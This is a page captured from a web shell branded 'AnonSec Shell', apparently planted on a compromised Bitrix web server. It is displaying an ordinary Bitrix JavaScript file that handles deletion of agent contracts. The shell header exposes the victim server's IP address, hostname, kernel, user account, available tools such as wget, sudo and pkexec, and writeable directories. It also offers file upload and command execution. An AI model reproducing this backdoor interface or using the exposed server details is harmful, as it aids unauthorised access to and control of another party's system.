AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.133.138.209
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/catalog/agent-contract/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/catalog/agent-contract/src/gridactions.js
import {ajax, Loc} from 'main.core';
import { MessageBox } from 'ui.dialogs.messagebox';

export class GridActions
{
	grid;

	constructor(options = {})
	{
		this.grid = options.grid || null;

		BX.addCustomEvent('AgentContract:onDocumentSave', () => {
			this.grid?.reload();
		});

		BX.SidePanel.Instance.bindAnchors({
			rules: [
				{
					condition: [
						new RegExp("/agent_contract/details/[0-9]+/"),
						new RegExp("/bitrix/admin/cat_agent_contract.php\\?ID=([0-9]+)"),
					],
					options: {
						allowChangeHistory: false,
						cacheable: false,
						width: 650,
					}
				},
			]
		});
	}

	delete(id)
	{
		MessageBox.confirm(
			Loc.getMessage('CATALOG_AGENT_CONTRACT_TITLE_DELETE_CONTENT'),
			(messageBox, button) => {
				button.setWaiting();

				ajax.runAction(
					'catalog.agentcontract.entity.delete',
					{
						data: {
							id,
						},
					},
				).then(() => {
					messageBox.close();
					this.grid?.reload();
				}).catch((response) => {
					if (response.errors)
					{
						BX.UI.Notification.Center.notify({
							content: BX.util.htmlspecialchars(response.errors[0].message),
						});
					}

					messageBox.close();
				});
			},
			Loc.getMessage('CATALOG_AGENT_CONTRACT_BUTTON_CONFIRM'),
			(messageBox) => messageBox.close(),
			Loc.getMessage('CATALOG_AGENT_CONTRACT_BUTTON_BACK'),
		);
	}

	deleteList()
	{
		let ids = this.grid.getRows().getSelectedIds();
		ajax.runAction(
			'catalog.agentcontract.entity.deleteList',
			{
				data: {
					ids: ids,
				}
			}
		).then((response) => {
			this.grid?.reload();
		}).catch((response) => {
			if (response.errors)
			{
				response.errors.forEach((error) => {
					if (error.message)
					{
						BX.UI.Notification.Center.notify({
							content: BX.util.htmlspecialchars(error.message),
						});
					}
				});
			}
			this.grid?.reload();
		});
	}
}

Anon7 - 2022
AnonSec Team